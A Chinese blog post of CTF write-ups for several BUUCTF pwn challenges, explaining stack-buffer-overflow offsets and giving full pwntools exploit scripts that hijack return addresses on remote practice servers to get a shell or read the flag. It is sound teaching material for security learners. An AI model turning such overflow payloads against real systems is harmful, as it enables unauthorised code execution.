buu-pwn-部分题解集合1-5:栈溢出

test_your_nc

前置知识

nc指令是什么?

https://www.runoob.com/linux/linux-comm-nc.html

netcat,用于连接,扫描服务器端口的一个工具

成功连接端口后可进行基本的文件操作,如

  • ls
  • dir
  • cat(打开文件)等等

这个工具在liunx下自带,于是我使用kali

正式解题

根据提示连接对应端口和地址

nc node3.buuoj.cn 25346

连接成功后看看有啥文件dir/ls都可

发现有个flag文件,打开它看看cat flag得到flag

rip:windows下换行符的问题

前置知识

使用python的第三方库pwntools工具

用到一些栈溢出的知识(知乎:手把手教你栈溢出)

pwntools模板

#!/usr/bin/env python
# coding=utf8
from pwn import *

context.log_level = 'debug'  # 显示调试的信息

local = 0  # 设置是本地还是远程渗透

if local:
# p = process('./pwn1')
 # bin = ELF('./',checksec=False)
 # libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
 pass
else:
 p = remote('node3.buuoj.cn', 28688)
 # bin = ELF('./',checksec=False)
 # libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
 pass

bin_sh_addr = 0x8048F0D
payload = b'I'*21 + b'a'*1 + p32(bin_sh_addr)

# p.recvuntil(">")  # 收到某个字符后继续执行否则sleep
p.sendline(payload)

# raw_input()  # 用来断在开始的位置
# gdb.attach(p)  # 可以用动态调试
p.interactive() # 监听和用户输入模式

正式解题

这题可把我坑惨了,建议不要用windows环境打pwn,偏移值是

goal_address = 0x401186
payload = b'a' * (15+8) + p64(goal_address+1) # dbp 8位 +1从0x000000对齐八位
# or 都可以
payload = b'a' * 15 + p64(goal_address)

于是就有了如下的代码

from pwn import *
context.log_level = 'debug'  # 显示调试的信息

p = remote('node3.buuoj.cn', 25156)

goal_address = 0x401186
payload = b'a' * 15 + p64(goal_address)

p.sendline(payload)
p.interactive()

然后顺利的够到shell了那不就为所欲为了?然后神奇的事情发生了。

无论输入什么指令都显示没有这个指令?????

然后这个本应该前天解决的题目呗拖了两天QAQ,谁来救救我。

今天反复排查才发现,是windows下的换行符出事了(我开了debug模式调试发现的):

(参考我之前写的空字符介绍博客http://poilzero.sipc115.club/index.php/archives/25/

有如下补充知识点

  • rn是dos(包含windows)的命令行终止符
  • n是Liunx/Unix的命令行终止符
  • 命令行终止符 在引申到保存文件中的时候就代表各自系统下一般意义的换行了(即换行且到行首nr)

但是要命的是我是在windows下运行这个python脚本的,然后再windows的命令框里面输入的指令的,因此实际上发送过去的指令变成了 指令\r\n 然后liunx的shell就会识别成执行 指令\r 举个例子:

我发送了 ls 实际上发送成了 ls\r\n 然后到了shell那一边会识别成 ls\r (\n再liunx中代表换行,而对shell换行代表执行指令),然后shell一想,不对啊QAQ这是什么东西,因为没有指令叫ls\r的然后就告诉你没有这个指令。

这是一个很细节的问题!!吖!!!

最后改成这样了(这样能严格控制输入的字符内容,sendline默认加上的换行符是liunx下的'\n')

from pwn import *
context.log_level = 'debug'  # 显示调试的信息

p = remote('node3.buuoj.cn', 25156)

goal_address = 0x401186
payload = b'a' * 15 + p64(goal_address)

p.sendline(payload)
p.sendline("cat flag")
p.interactive()

经验总结

因此总结的经验就是,尽可能把运行环境与对象的运行环境相匹配,这样能避免很多意想不到的问题,这些问题本身可能比你从新配置一个环境的花费大得多,哼唧,END。

warmup_csaw_2016:标准栈溢出

漏洞分析

使用nc测试后发现连接服务器后输出一些字符串后会让你输入,查看提供的文件反汇编可以查看这里是一个gets函数

b'-Warm Up-\n'
    b'WOW:0x40060d\n'
    b'>'

然后找了一下

  • 提供的关键函数就在address=0x40060d
  • gets缓冲区0x40个字节,加上返回地址的八个长度,就能得到总溢出长度了

因此只要通过溢出修改返回地址跳转就可以了

注册机

#!/usr/bin/env python
# coding=utf8
from pwn import *

context.log_level = 'debug'  # 显示调试的信息

local = 0  # 设置是本地还是远程渗透

if local:
 # p = process('./pwn1')
 # bin = ELF('./',checksec=False)
 # libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
 pass
else:
 p = remote('node3.buuoj.cn', 27519)
 # bin = ELF('./',checksec=False)
 # libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
 pass
bin_sh_addr = 0x40060D
payload = b'a' * (0x40+0x8) + p64(bin_sh_addr)

p.recvuntil(">")  # 收到某个字符后继续执行否则sleep
p.sendline(payload)
#  b'flag{9476e1d2-a061-487c-9234-93666cbf4600}\n'

# raw_input()  用来断在开始的位置
# gdb.attach(p)  可以用动态调试

flag即为:`flag{9476e1d2-a061-487c-9234-93666cbf4600}

pwn1_sctf_2016:文本替换溢出

漏洞分析

直接连入后直接输入字符串测试发现,会替换其中的I字符,然后会print出来

使用IDA打开分析

找到主函数,直接在main函数中调用的功能性函数

int vuln()
{
  const char *v0; // eax
  char s; // [esp+1Ch] [ebp-3Ch]
  char v3; // [esp+3Ch] [ebp-1Ch]
  char v4; // [esp+40h] [ebp-18h]
  char v5; // [esp+47h] [ebp-11h]
  char v6; // [esp+48h] [ebp-10h]
  char v7; // [esp+4Fh] [ebp-9h]

  printf("Tell me something about yourself: ");
  fgets(&s, 32, edata);
  std::string::operator=(&input, &s);
  std::allocator<char>::allocator(&v5);
  std::string::string(&v4, "you", &v5);
  std::allocator<char>::allocator(&v7);
  std::string::string(&v6, "I", &v7);
  replace((std::string *)&v3);
  std::string::operator=(&input, &v3, &v6, &v4);
  std::string::~string((std::string *)&v3);
  std::string::~string((std::string *)&v6);
  std::allocator<char>::~allocator(&v7);
  std::string::~string((std::string *)&v4);
  std::allocator<char>::~allocator(&v5);
  v0 = (const char *)std::string::c_str((std::string *)&input);
  strcpy(&s, v0);
  return printf("So, %s\n", &s);
}

因此虽然fgets不发生溢出,但是replace后会发生溢出,找目标函数位于0x08048F0D

注册机

这里分析一下输入的内容以及如何溢出。

首先

  • 输入最多32字符,但是I会变成3个字节的you
  • 32程序,返回地址4个字节,目标地址4个字节
  • s栈最大长度3C即60
-0000003C s               db ?
-0000003B                 db ? ; undefined
-0000003A                 db ? ; undefined
...
-0000001D                 db ? ; undefined

因此要保证replace后的值是60+4+p32字节,即替换后得有64个字符。

又因为64%3==21....1

因此可以得到偏移值:payload = b'I'*21 + b'a'*1 + p32(bin_sh_addr)

注意因为是32的运行文件,地址格式要使用p32
#!/usr/bin/env python
# coding=utf8
from pwn import *

context.log_level = 'debug'  # 显示调试的信息

local = 0  # 设置是本地还是远程渗透

if local:
 # p = process('./pwn1')
 # bin = ELF('./',checksec=False)
 # libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
 pass
else:
 p = remote('node3.buuoj.cn', 28688)
 # bin = ELF('./',checksec=False)
 # libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
 pass

bin_sh_addr = 0x8048F0D
payload = b'I'*21 + b'a'*1 + p32(bin_sh_addr)

# p.recvuntil(">")  # 收到某个字符后继续执行否则sleep
p.sendline(payload)

# raw_input()  # 用来断在开始的位置
# gdb.attach(p)  # 可以用动态调试
p.interactive() # 监听和用户输入模式

# flag{a225aa2f-c72e-48ca-8500-bdf477036a23}

flag即为:flag{a225aa2f-c72e-48ca-8500-bdf477036a23}

ciscn_2019_n_1:两种思路

漏洞分析

使用IDA打开

gets栈溢出常见函数

有两种思路溢出:

  • 直接修改帧的返回地址(上面一直使用的)
  • 修改v2使jnz进入
int func()
{
  int result; // eax
  char v1; // [rsp+0h] [rbp-30h]
  float v2; // [rsp+2Ch] [rbp-4h]

  v2 = 0.0;
  puts("Let's guess the number.");
  gets(&v1);
  if ( v2 == 11.28125 )
    result = system("cat /flag");
  else
    result = puts("Its value should be 11.28125");
  return result;
}

注册机

两种思路对应的偏移值为

  • 直接修改帧返回地址返回到system对应的指令位置
# 0x4006BE 是system("cat /flag") 对应汇编的开始地址
bin_sh_addr = 0x4006BE
payload = b'a'*(0x30+0x8) + p64(bin_sh_addr)
  • 修改v2使jnz进入
# 0x41348000 是使用IDA查询值得到的11.28125在内存中的表现形式
bin_sh_addr = 0x41348000 
payload = b'a'*(0x30-0x4) + p64(bin_sh_addr)

完整版如下(使用方案一)

#!/usr/bin/env python
# coding=utf8
from pwn import *

context.log_level = 'debug'  # 显示调试的信息

local = 0  # 设置是本地还是远程渗透

if local:
 # p = process('./pwn1')
 # bin = ELF('./',checksec=False)
 # libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
 pass
else:
 p = remote('node3.buuoj.cn', 29694)
 # bin = ELF('./',checksec=False)
 # libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
 pass

# bin_sh_addr = 0x41348000
# payload = b'a'*(0x30-0x4) + p64(bin_sh_addr)
bin_sh_addr = 0x4006BE
payload = b'a'*(0x30+0x8) + p64(bin_sh_addr)

p.recvuntil("Let's guess the number.\n")  # 收到某个字符后继续执行否则sleep
p.sendline(payload)

# raw_input()  # 用来断在开始的位置
# gdb.attach(p)  # 可以用动态调试
# p.interactive() # 监听和用户输入模式

最后得到返回值: b'flag{f36a6fe6-73d0-4091-ae49-fcc5d5906399}\n'

Last modification:June 29, 2021
如果觉得我的文章对你有用,请随意赞赏。咖啡(12RMB)进度+100%,一块巧克力(1RMB)进度+6%。
(赞赏请备注你的名称哦!后台记录中来自理工小菜狗)